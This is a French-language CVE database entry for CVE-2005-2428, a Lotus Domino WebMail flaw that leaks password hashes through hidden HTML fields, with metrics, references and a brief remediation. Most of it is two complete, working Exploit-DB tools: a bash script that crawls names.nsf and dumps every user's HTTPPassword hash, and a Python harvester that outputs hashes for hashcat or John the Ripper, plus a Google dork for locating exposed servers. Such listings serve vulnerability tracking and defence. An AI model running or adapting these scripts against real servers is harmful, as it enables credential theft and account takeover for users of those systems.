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Descriptions du CVE
Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:P/I:N/A:N | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 3302
Date de publication : 2007-02-12 23h00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : Yes
#!/bin/bash
#
# $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:28 raptor Exp $
#
# raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump
# Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled,
# stores sensitive data from names.nsf in hidden form fields, which allows
# remote attackers to read the HTML source to obtain sensitive information such
# as (1) the password hash in the HTTPPassword field, (2) the password change
# date in the HTTPPasswordChangeDate field, (3) the client platform in the
# ClntPltfrm field, (4) the client machine name in the ClntMachine field, and
# (5) the client Lotus Domino release in the ClntBld field, a different
# vulnerability than CVE-2005-2696 (CVE-2005-2428).
#
# According to testing, it's possible to dump all HTTPPassword hashes using the
# $defaultview view instead of $users. This saves a considerable amount of time.
#
# The code may require some changes to properly work with your configuration.
#
# See also:
# http://www.securiteinfo.com/outils/DominoHashBreaker.shtml
#
# Usage:
# $ ./raptor_dominohash 192.168.0.202
# [...]
# Extracting the view entries...
# Done! 656 unique entries have been found.
# Now ready to dump password hashes...
# [...]
# [http://192.168.0.202/names.nsf/$defaultview/00DA2289CC118A854925715A000611A3]
# FirstName: Foo
# LastName: Bar
# ShortName: fbar
# HTTPPassword: (355E98E7C7B59BD810ED845AD0FD2FC4)
# [...]
#
# Vulnerable platforms:
# Lotus Domino R6 Webmail [tested]
# Lotus Domino R5 Webmail [untested]
# Lotus Domino R4 Webmail? [untested]
#
# Some vars
i=1
tmp1=dominohash1.tmp
tmp2=dominohash2.tmp
# Command line
host=$1
# Local fuctions
function header() {
echo ""
echo "raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump"
echo "Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo ""
}
function footer() {
echo ""
exit 0
}
function usage() {
header
echo "usage : ./raptor_dominohash <host>"
echo "example: ./raptor_dominohash 192.168.0.202"
footer
}
function notfound() {
header
echo "error : curl not found"
footer
}
# Check if curl is there
curl=`which curl 2>/dev/null`
if [ $? -ne 0 ]; then
notfound
fi
# Input control
if [ -z "$1" ]; then
usage
fi
# Remove temporary files
rm -f $tmp1
rm -f $tmp2
header
# Extract the view entries
echo "Extracting the view entries..."
while :
do
curl "http://${host}/names.nsf/\$defaultview?Readviewentries&Start=${i}" 2>/dev/null | grep unid >> $tmp1
# Check grep return value
if [ $? -ne 0 ]; then
break
fi
# Go for the next page
i=`expr $i + 30`
echo -ne "\b\b\b\b\b\b\b\b$i"
done
cat $tmp1 | awk -F'unid="' '{print $2}' | awk -F'"' '{print $1}' | sort | uniq > $tmp2
# Check if some view entries have been found
if [ ! -s $tmp2 ]; then
echo "No entries found on host ${host}!"
footer
fi
echo -ne "\b\b\b\b\b\b\b\bDone! "
echo "`wc -l ${tmp2} | awk '{print $1}'` unique entries have been found."
echo ""
# Perform the hash dumping
echo "Now ready to dump password hashes..."
echo ""
sleep 4
for unid in `cat $tmp2`
do
echo "[http://${host}/names.nsf/\$defaultview/${unid}]"
echo ""
#curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FullName"|"HTTPPassword"'
curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FirstName"|"LastName"|"ShortName"|"HTTPPassword"' | awk -F'input name="' '{print $2}' | awk -F'" type="hidden" value="' '{print $1 ":\t" $2}' | tr -d '">'
echo ""
done
footer
# milw0rm.com [2007-02-13]
Exploit Database EDB-ID : 39495
Date de publication : 2016-02-24 23h00 +00:00
Auteur : Jonathan Broche
EDB Vérifié : No
# Exploit Title: IBM Lotus Domino <= R8 Password Hash Extraction Exploit
# Google Dork: inurl:names.nsf?opendatabase
# Date: 02-24-2016
# Exploit Author: Jonathan Broche
# Contact: https://twitter.com/g0jhonny
# Vendor Homepage: https://www-01.ibm.com/software/lotus/category/messaging/
# Tested on: Lotus Domino 8.5
# CVE : CVE-2005-2428
1. Description
IBM Domino Databases contain a configuration issue allowing users to obtain password hashes, configuraiton information and more from the Public Address Book (i.e., names.nsf database). Password hashes are obtained from the hidden HTML HTTPPassword and dspHTTPPassword fields per user in the database.
2. Proof of Concept
#!/usr/bin/env python2
import requests, re, BeautifulSoup, sys, argparse, os
requests.packages.urllib3.disable_warnings()
parser = argparse.ArgumentParser(description='Domino Effect - A Lotus Domino password hash tool by Jonathan Broche (@g0jhonny)', version="1.0")
parser.add_argument('system', help="IP address or hostname to harvest hashes from. ")
parser.add_argument('-u', '--uri', metavar='path', default="/names.nsf", help="Path to the names.nsf file. [Default: /names.nsf]")
outgroup = parser.add_argument_group(title="Output Options")
outgroup.add_argument('--hashcat', action='store_true', help="Print results for use with hashcat.")
outgroup.add_argument('--john', action='store_true', help="Print results for use with John the Ripper.")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
print "\nDomino Effect {}\n".format(parser.version)
headers={'User-Agent':'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'}
try:
response = requests.get("https://{}{}/People?OpenView".format(args.system, args.uri), verify=False, headers=headers, timeout=3)
except requests.exceptions.Timeout as e:
print "[!] Timed out, try again."
sys.exit(1)
except Exception as e:
print e
soup = BeautifulSoup.BeautifulSoup(response.text)
links = []
#grab all user profile links
for link in soup.findAll('a'):
if "OpenDocument" in link['href']:
if link['href'] not in links:
links.append(link['href'])
hashes = {}
for link in links: #get user profile
try:
response = requests.get("https://{}{}".format(args.system, link), verify=False, headers=headers, timeout=2)
except requests.exceptions.Timeout as e:
pass
except Exception as e:
print e
if response.text:
soup = BeautifulSoup.BeautifulSoup(response.text)
name = soup.find('input', {'name' : '$dspShortName'}).get('value').strip() #short name
httppassword = soup.find('input', { "name" : "HTTPPassword"}).get('value').strip()
dsphttppassword = soup.find('input', { "name" : "dspHTTPPassword"}).get('value').strip()
if httppassword and httppassword not in hashes.keys():
hashes[httppassword] = name
elif dsphttppassword and dsphttppassword not in hashes.keys():
hashes[dsphttppassword] = name
if hashes: #output
if args.hashcat or args.john:
if args.hashcat:
for h in hashes.keys():
print h
if args.john:
for h, n in hashes.items():
print "{}:{}".format(n,h)
else:
for h, n in hashes.items():
print "[*] User: {} Hash: {}".format(n, h)
print "\n{} hashes obtained\n".format(len(hashes))
3. Solution
To hide the HTTP password from the HTML source:
1) Open the $PersonalInheritableSchema subform (In the designer under Shared Code, Subforms).
2) Find the fields: $dspHTTPPassword and HTTPPassword.
3) In the field properties for both fields, on the hide tab under "Hide paragram from" check off "Web browsers".
4) Open the Person form (Under Forms).
5) In the form properties, on the 2nd tab, disable the option "Generate HTML for all fields".
In addition, ensure proper firewalls are in place within your environment to prevent public exposure of the names.nsf database and other senstive files.
Products Mentioned
Configuraton 0
Ibm>>Lotus_domino >> Version 5.0
- Ibm>>Lotus_domino >> Version 5.0 (Open CPE detail)
Ibm>>Lotus_domino >> Version 6.0
- Ibm>>Lotus_domino >> Version 6.0 (Open CPE detail)
Ibm>>Lotus_domino >> Version 6.5
- Ibm>>Lotus_domino >> Version 6.5 (Open CPE detail)
Références
http://www.cybsec.com/vuln/default_configuration_information_disclosure_lotus_domino.pdf
Tags : x_refsource_MISC
Tags : x_refsource_MISC
